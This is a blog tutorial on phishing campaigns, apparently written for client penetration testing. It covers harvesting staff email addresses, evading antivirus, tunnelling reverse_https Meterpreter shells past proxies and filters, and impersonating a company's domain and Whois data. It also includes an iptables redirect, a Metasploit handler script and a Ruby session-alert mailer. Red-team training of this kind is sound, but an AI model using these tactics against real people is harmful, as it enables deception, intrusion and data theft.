How do I phish? – Advanced Email Phishing Tactics

I’m often times asked how I perform email email phishing attacks.  Email phishing attacks are very compelling, and unique to each situation. The process of creating a successful email phishing campaign is very methodical, and most of the time and effort goes up front into the planning phase.

Understanding that good security is a multilayer approach and we will have many layers of security that could potentially destroy our email phishing campaign. Some of these layers may include Email Gateway Spam Filters, Outlook ‘Junk Email’ Filters, Host based Antivirus, Intrusion Prevention Systems, Web Proxy Servers, Egress filtering, and the list goes on and on.

Now that we know some of the most common security layers  we will encounter, lets walk through some of them to see how they can be bypassed. Some of these methodologies were adopted from Brav0Hax and purehate‘s email phishing talks. Huge shutout to those guys and the work they’ve done for the infosec community.  If you haven’t seen their email phishing presentation it will answer alot of questions you may have, check it out here.

Enumerating Email Addresses

One of the first things we need to do in any email phishing campaign is enumerate email addresses. How are we going to send emails if we don’t know where we are sending to? This is where Jigsaw comes in handy to quickly and easily enumerate email addresses for us. It now has database support and can output to a nice CSV file as well. Thanks R3dy! The jigsaw developers and R3dy have been playing cat and mouse with this neat little script. The jigsaw developers are attempting to block the script from executing properly, so make sure you download the latest version for the best results.

Jigsaw works the best when you sign up for a free account on jigsaw.com and pass your credentials as arguments on the cli.

$ ./jigsaw.rb -i 215043 -r google -d google.com -u username -p password
Found 1047 records in the Sales department.
Found 666 records in the Marketing department.
Found 870 records in the Finance & Administration department.
Found 249 records in the Human Resources department.
Found 150 records in the Support department.
Found 1282 records in the Engineering & Research department.
Found 354 records in the Operations department.
Found 1171 records in the IT & IS department.
Found 300 records in the Other department.
Generating the final google.csv report
Wrote 6079 records to google.csv

Another nice option for email enumeration is theHarvester.  It’s a little python script that is part of BackTrack 5 and located at /pentest/enumeration/theharvester. The script has the ability to search different search engines to quickly pull out the email addresses found.

$ ./theHarvester.py -d google.com -l 1000 -b google

[+] Emails found:
------------------
google@google.com
mapping@google.com

Antivirus Evasion

We are not going to spend a ton of time on antivirus evasion because the topic has been heavily covered by many blogs, irc channels, youtube videos, and virtually every other communication channel. If you want to learn more about antivirus evasion techniques checkout metasploit’s evading antivirus wiki which also highlights our very own metasm technique.

Having knowledge of the antivirus software your up against can greatly assist in the process of creating a successful email phishing campaign. There is a great article here that discussed some ways to use DNS cache snooping to determine which antivirus product the target may be running.

Take the time up front to install an antivirus in a Virtual Machine (VM) before sending your email phishing messages. Ideally you would install the exact version your target is running, but this is not always feasible. at a minimum you should install a couple free antivirus products like Microsoft Security Essentials, AVG, Comodo, and others. If you can’t bypass an antivirus in your VM, why would it be any different when you launch your email phishing attack? Spend the time up front to test, and do not send your payloads to VirusTotal!

Packers are typically flagged by Antivirus products, but file protectors often times will slip right past most scan engines. If your looking for that little extra, feel free to purchase a valid certificate and sign your binary using signtool.exe inside SDK. That way your victims always know your binary is legit.

Egress Filtering

When it comes to choosing a payload, there really is two options that come to mind.  It’s either got to be a reverse_https which is proxy aware, or the reverse_tcp_all_ports.

If you’re not familiar with the reverse_tcp_all_ports payload, its essential a  module which implements the reverse TCP handler and works with “allports” stagers. This handler listens on a single TCP port, and the operating system redirects all incoming connections on all ports to this listening port. This requires iptables or another packet filter to be used in order to work properly.

Here is an example of what the iptables command may look like on your linux based OS to funnel every port into 443/tcp where a multi/handler is listening and ready to catch shells. The trick with this is to move SSH up to port 65535 so that your still able to login to the box remotely, but it won’t mess with your email phishing campaign.

iptables -t nat -A PREROUTING -p tcp --dport 1:65534 -j REDIRECT --to-ports 443

reverse_https is another great payload because it establishes and encrypted tunnel back to the metasploit server, and makes it difficult for intrusion prevention systems see inside the tunnel to detect the malicious traffic. Not only does it encapsulate the payload, it is also proxy aware which means that it will take advantage of any settings in Internet Explorer. In a nutshell, rev_https payloads look pretty much like generic HTTPS  traffic which makes them incredibly difficult to detect without an SSL stripping gateway.

Typically when I execute an email phishign campaign I will choose a reverse_https which will connect back to LHOST=X.X.X.X and LPORT=443. Almost all corporations allow web browsing to end users and when this payload is executed it will look like standard HTTPS traffic. Unless a corporation is running deep packet inspection with SSL stripping, the reverse_https payload will almost always work.

Email Phishing Scenario

Picking an email phishing scenario is probably the easiest piece to the entire equation. We know from our past experiences that users want to click on your malicious links. It seems like no matter how much user awareness training a company drills into their employees, someone is always going to click that link.

One of my favorite email phishing scenarios is sending an email that appears to come from someone in internal IT stating that a new critical patch has been released, and everyone must install the update. I’ll then link the users to something similar to the screenshot below:

I personally use SET to quickly clone a website that I want to use for the email phishing campaign. Once you’ve cloned a website with SET you can navigate to set/src/program_junk to find the HTML files.

Web Proxy Servers

Many corporations run a web proxy server that will block end users from visiting certain websites. Some proxy servers even have an Antivirus scanning engine that will detect if there is malicious traffic coming through the web. Another option that many corporations use is preventing end users from downloading  executables entirely.

You might be thinking, how can we deliver our payload from the email phishing website if the end users are unable to download any executable. This is where you buckle down and spend the extra buck to purchase a valid SSL certificate for your website. This way when a user visits your email phishing website, an SSL tunnel is established from the users browser to the email phishing website.

The encrypted tunnel will make it incredibly difficult for the web proxy server to see inside to determine if the traffic is malicious or not. Since the web proxy server is unable to view the payload inside the tunnel, it will let the user download the executable to their workstation.

Sending Email Phishing Messages

When it comes to sending the emails we have a couple different options. First thing we need to decide is if we want to spoof an email or purchase a valid domain name. For the scope of this article we are going to focus on sending emails from a valid purchased domain name.

I personally purchase my domains through GoDaddy because every domain comes with one free email address which is perfect for email phishing.  I’m sure other hosting providers have the same type of deal; however, I’m most familiar with GoDaddy, so that is what we will demonstrate.

Once you’ve purchased a domain through GoDaddy, you can log into your account and choose the [+] symbol next to the ’email’ category and choose the green launch buttons to open the email control panel.

Once  the email control panel is opened, select the ‘create’ button to quickly create an email account.

The great thing about creating an email account through a hosting provider like GoDaddy is they will automatically setup the MX records so you don’t need to mess with any DNS settings to send and recieve email to look as legit as possible.

I bring this up because many Email Gateways will perform a reverse DNS lookup against the domain it is receiving email from. If a domain name does not have an MX associated with it, many gateways will instantly drop the message, and therefor your email phishing message will never reach the user’s inbox.

Another layer of security I have seen in place is an SMTP server that will perform a Whois lookup on the sending domain to ensure that everything looks normal and matches up correctly with that business. To combat the Whois lookup all we need to do is login to GoDaddy and ‘edit all’ of the Whois information to match whatever you would like. If your impersonating the domain of example.com, I would probably do a Whois against example.com and make sure everything matches up identical.

GoDaddy’s interface to quickly change the Whois information for your newly purchased domain name:

Now that we have an email account properly configured, we could hookup an email client like Thunderbird to send and receive the emails. There is nothing wrong with sending email phishing messages from an email client, but there are some added benefits if you send your email from a script. For example, I wrote a simple ruby script sendmail.rb that will take in a list of email addresses along with an email message you want sent to each user.

I’ve often times had clients ask if we have the ability to track every end user that visits the email phishing website. Tracking users that execute payloads or enter credentials is easy, but tracking each user click can be a little trickier.

sendmail.rb has the ability to track each users click when email messages are sent from the script. What the script does before sending off the emails is base64 encodes the users email address and appends this to the end of the email phishing URL. For example, if we wanted our users to click on the following URL of http://example.com, sendmail.rb will modify the URL in the email message so it becomes something like:

http://example.com/index.php?dXNlckBleGFtcGxlLmNvbQ==

Now once the email phishing link is clicked we will have an entry in the Apache access_logs that will show a request to index.php?dXNlckBleGFtcGxlLmNvbQ== which can be decoded to determine the users email address that clicked on the email phishing website. Coding up a little script to parse and decode the access_logs would be trivial with a few lines of Ruby.

Below is the output of the sendmail.rb script when sending to 2 users.

If you are interested in knowing more about sendmail’s functionality, let me know by posting in the comments below and I’ll write up a separate blog post on how it’s intended to work.

Metasploit Multi/Handler

There’s no rocket science to setting up a multi/handler with Metasploit, but there are a few custom options I like to use when I execute an email phishing campaign.  The first is the creation of a resource script to run in case the multi/handler dies, hangs or any other issues you could encounter. It’s just nice to know you have a script that will setup the proper uniform settings that you know work when you performed testing.

Below is an example resource script that I use to start a reverse_https multi/handler

use multi/handler
set payload windows/meterpreter/reverse_https
set lhost X.X.X.X
set lport 443
set ExitOnSession false
set AutoScript /opt/metasploit/msf3/scripts/meterpreter/scraper-mod.rb
exploit -j -z

Another feature I like to include as part of my multi/handler is a modified version of the scraper.rb Meterpreter script. This script by default will enumerate system information, hashes, and other useful information. I personally do not like to dump hashes automatically in case it flags AV and kills my sessions. Instead I modify scraper.rb to only do native checks like ipconfig, net group “Administrators”, and other light useful commands. Additionally, I will add in some functionality to send me an email everytime a new meterpreter session is established. This way I don’t have to hover around my console waiting for those stagers and sessions to arrive.

Here is a ruby method that can be used to add email functionality to your scraper.rb script:

def sendemail(username, password, from, message, email, port, smtpout, smtp)
  # code to send email
  begin
    Net::SMTP.start("#{smtpout}", "#{port}", "#{smtp}","#{username}", "#{password}", :plain) do |smtp|
      smtp.send_message message, "#{from}", email.chomp
    end
    print_good("\tSent to: #{email}")
  rescue
    print_bad("\tIssues Sending to: #{email}")
  end
end

Below is a screenshot of how you can invoke the resource script and msfconsole at the same time:

Conclusion

In this email phishing tutorial we’ve demonstrated how we can execute a methodical email phishing campaign to bypass many security layers you may encounter. Each situation is unique and one strategy may not work for every situation. I hope you found the article valuable, and Happy Email Phishing!

Share this article